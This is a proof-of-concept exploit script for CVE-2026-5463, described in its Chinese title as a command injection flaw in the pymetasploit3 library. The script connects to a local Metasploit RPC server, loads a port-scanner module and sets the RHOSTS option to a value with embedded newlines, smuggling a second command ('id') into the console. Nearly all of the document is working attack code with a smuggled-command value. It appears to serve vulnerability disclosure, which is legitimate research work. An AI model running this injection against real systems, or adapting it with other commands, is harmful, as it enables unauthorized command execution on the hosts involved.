CVE-2026-5463 pymetasploit3命令注入漏洞

# Proof of Concept for CVE-2026-5463 # This script demonstrates the command injection vulnerability # by injecting a newline character into the RHOSTS option. import pymetasploit3 as msf def main(): # Initialize the client connection to the Metasploit RPC server # Ensure the RPC service is running before executing try: client = msf.MsfRpcClient('your_password', port=55553, server='127.0.0.1') except Exception as e: print(f"Connection failed: {e}") return # Select a module to exploit (example: auxiliary/scanner/portscan/tcp) # The specific module is not critical; the focus is on option handling. try: module = client.modules.use('auxiliary', 'scanner/portscan/tcp') except Exception as e: print(f"Module loading failed: {e}") return # Construct the malicious payload # Injecting a newline character (\n) to break the command structure. # This causes the console to execute 'id' after setting RHOSTS. malicious_rhosts = "192.168.1.1\nid\n" print(f"[*] Injecting payload into RHOSTS: {repr(malicious_rhosts)}") # Set the vulnerable option module['RHOSTS'] = malicious_rhosts # Execute the module # The underlying console.run_module_with_output() will process the injection. print("[*] Executing module to trigger command injection...") module.execute() print("[+] Exploit attempt finished. Check the Metasploit console for 'id' output.") if __name__ == "__main__": main()